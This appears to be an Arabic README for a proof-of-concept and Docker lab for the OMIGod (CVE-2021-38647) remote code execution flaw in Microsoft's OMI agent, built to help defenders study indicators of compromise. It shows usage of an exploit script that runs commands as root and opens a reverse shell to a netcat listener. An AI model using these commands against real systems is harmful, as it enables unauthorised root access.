
OMIGod / CVE-2021-38647 POC وبيئة العرض التوضيحي
البنية التحتية للإدارة المفتوحة (OMI، المعروفة سابقًا باسم NanoWBEM) هي خادم إدارة مفتوح المصدر لنموذج الواجهة المشتركة (CMI) من تطوير Microsoft وThe Open Group. OMI هو وكيل برمجي موجود على معظم أجهزة Azure الافتراضية التي تعمل بنظام Linux، ومع ذلك لا يعرف الكثيرون بوجوده.
في 14 سبتمبر، نشر فريق أبحاث Wiz مقالًا يوضح أربع ثغرات أمنية في OMI. توصف هذه الثغرات بأنها سهلة الاستغلال، ويمكن أن تسمح للمهاجمين بتنفيذ تعليمات برمجية عشوائية عن بُعد والتصعيد إلى صلاحيات الجذر (root) بطلب واحد.
CVE-2021-38647 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) بدون مصادقة، وتُستغل بإرسال طلب HTTP مُعد خصيصًا. تسمح CVE-2021-38647 للمهاجم بتنفيذ أوامر بصلاحيات مستخدم وكيل OMI، والذي يكون عادةً الجذر (root).
يتم استخدام وكلاء OMI على نطاق واسع على خوادم Azure Linux عند استخدام هذه الخدمات:
وفقًا لمايكروسوفت، فإن معظم خدمات Azure التي تستخدم OMI تنشره بدون تعريض منفذ HTTP/S للخارج.
الهدف من هذا المشروع هو إنشاء بيئة تجريبية بطريقة قابلة للتكرار بسهولة، بحيث تستطيع فرق الدفاع (Blue Teams) العثور على مؤشرات الاختراق (IoCs) بسهولة أكبر. ولتحقيق هذا الهدف، قمت بإنشاء صورة Docker مخصصة مُجهزة بالإصدار الضعيف من OMI.
اعتمادًا على إعدادك، قد يتطلب هذا الأمر صلاحيات sudo.
# Building the docker container
docker build . -t omi-god
# Running it
docker run --name=omi-god -it omi-god
سيكون لديك الآن طرفية الجذر (root) الخاصة بحاوية Docker. ويمكنك الحصول على عنوان IP الخاص بحاوية Docker باستخدام الأمر:
# Add it to clipboard
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard
# Show it in terminal
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
عند اكتمال الإعداد، يمكنك تجربة تشغيل أي أداة من أدوات إثبات المفهوم (PoCs). لتشغيل الأداة الموجودة في هذا المشروع، نفّذ الأوامر التالية:
# Execute any command as root
python3 omigod.py -t 172.17.0.2 -c id
-> uid=0(root) gid=0(root) groups=0(root)
# Get a reverse shell as root on the server
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444
فيديو IppSec حول هذا الاستغلال وإعداد بيئة مشابهة - https://www.youtube.com/watch?v=TXqi1BKtcyM البيئة المُعدة في هذا المشروع مبنية على فيديو IppSec.
أداة إثبات المفهوم من horizon3ai - https://github.com/horizon3ai/CVE-2021-38647 أداة إثبات المفهوم في هذا المشروع مبنية على أداة إثبات المفهوم من horizon3ai.
لمزيد من التفاصيل، راجع عمل الباحثين الأصليين: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
جميع إصدارات OMI الأقدم من v1.6.8-1 معرضة للخطر.
تم نشر إصدار مُصحح يعمل على إصلاح هذا الاستغلال. قم بالتحديث وتأكد من أن الإصدار 1.6.8.1 أو أحدث.
تم إنشاء هذا البرنامج لأغراض البحث الأكاديمي وتطوير تقنيات دفاعية فعالة فقط، وليس المقصود استخدامه لمهاجمة الأنظمة إلا حيثما يكون ذلك مصرحًا به صراحةً. القائمون على المشروع غير مسؤولين عن سوء استخدام البرنامج. استخدمه بمسؤولية.